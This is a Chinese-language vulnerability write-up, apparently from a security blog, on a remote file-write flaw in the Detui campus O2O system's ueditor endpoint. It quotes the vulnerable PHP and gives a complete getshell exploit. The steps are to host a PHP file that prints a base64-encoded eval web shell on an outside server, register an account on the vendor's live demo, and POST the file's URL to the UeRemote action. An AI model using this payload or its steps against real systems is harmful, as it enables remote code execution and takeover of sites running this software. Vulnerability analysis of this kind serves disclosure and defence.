得推校园o2o系统前台getshell(demo复现)

漏洞触发点在/source/index/ueditor.ctrl.php中第177行:

public function onUeRemote(){
                error_reporting(E_ERROR|E_WARNING);
                $dir=isset($_GET['dir'])?get('dir','h')."/":"";
                if(get('id','i')){
                        $dir="attach/$dir".$this->dirId(get('id','i'));
                        umkdir($dir);
                }else{
                        $dir="attach/$dir".date("Y/m/d/");
                        umkdir($dir);
                }
                 
                $source=$_POST['source'];
                $list = array();
                if($source){
                        foreach ($source as $imgUrl) {
                                $content=curl_get_contents($imgUrl);
                                $img=$dir."/".basename($imgUrl);
                                $img=str_replace("//","/",$img);
                                file_put_contents(ROOT_PATH.$img,$content);
                                $this->upload_oss($img);
                                array_push($list, array(
                                        "state" => 'SUCCESS',
                                        "url" => images_site($img),
                                        "size" => 1,
                                        "title" => " ",
                                        "original" => $img,
                                        "source" => htmlspecialchars($imgUrl)
                                ));
                        }
                        
                }
                
                echo json_encode(array(
                        'state'=> count($list) ? 'SUCCESS':'ERROR',
                        'list'=> $list
                ));
        }

这是一个保存远程文件的函数,我们看一下该函数的功能实现,首先这里需要我们传入一个很重要的变量$_POST['sourse']

$source=$_POST['source'];

然后我们看一下对这个我们可控的$_POST['sourse']做了哪些操作,首先,将这个$sourse遍历了出来:

foreach ($source as $imgUrl) {
                                $content=curl_get_contents($imgUrl);
                                $img=$dir."/".basename($imgUrl);
                                $img=str_replace("//","/",$img);
                                file_put_contents(ROOT_PATH.$img,$content);
                                $this->upload_oss($img);

对其中每一个元素都做了curl_get_contents()操作,我们跟踪一下该函数,在/skymvc/function/function.php中第489行:

/*获取远程内容*/
function curl_get_contents($url,$timeout=30,$referer="http://www.qq.com"){
         $ch = curl_init();
         curl_setopt($ch, CURLOPT_URL, $url);
         curl_setopt($ch, CURLOPT_HEADER, 0);
         curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B176 MicroMessenger/4.3.2");
         curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
         curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
         curl_setopt($ch, CURLOPT_REFERER,$referer); //伪造来路页面 防止被禁止
         $content= curl_exec($ch);
         curl_close($ch);
         return $content;
} 

可以看到这是一个获取远程页面内容的函数。
然后我们继续看,接下来对每一个元素做了一个basename()的操作。
最重要的是这一行:

file_put_contents(ROOT_PATH.$img,$content);

这是一个写文件的操作,首先ROOT_PATH.$img是我们写的路径,而$content是我们写的内容。
我们看一下路径的形成,也就是$Img的形成,恰好是basename()后的值。意味着后缀是我们可控的。
而内容是网页的内容,也是我们可控的。后缀可控,内容可控,所以我们可以getshell。

漏洞利用方式:
我们首先要准备一个开启了web服务的远程服务器(IP地址为x.x.x.x)。然后创建一个php文件,我这里创建的是balisong.php,内容如下:

<?php
echo base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydiYWxpc29uZyddKTs/Pg==');

?>

其中这一串base64的明文是:

<?php @eval($_POST['balisong']);?>

然后我们将这个balisong.php放在服务器上。

然后我们开始去官方demo进行测试:
首先我们要访问
http://xyo2o.deitui.com/index.php?m=register
然后注册一个账号登陆上,然后开始访问payload:

http://xyo2o.deitui.com/index.php?m=ueditor&a=UeRemote
POST:source[]=x.x.x.x/balisong.php

然后提交就可以看到返回的shell地址了:

Comments
Write a Comment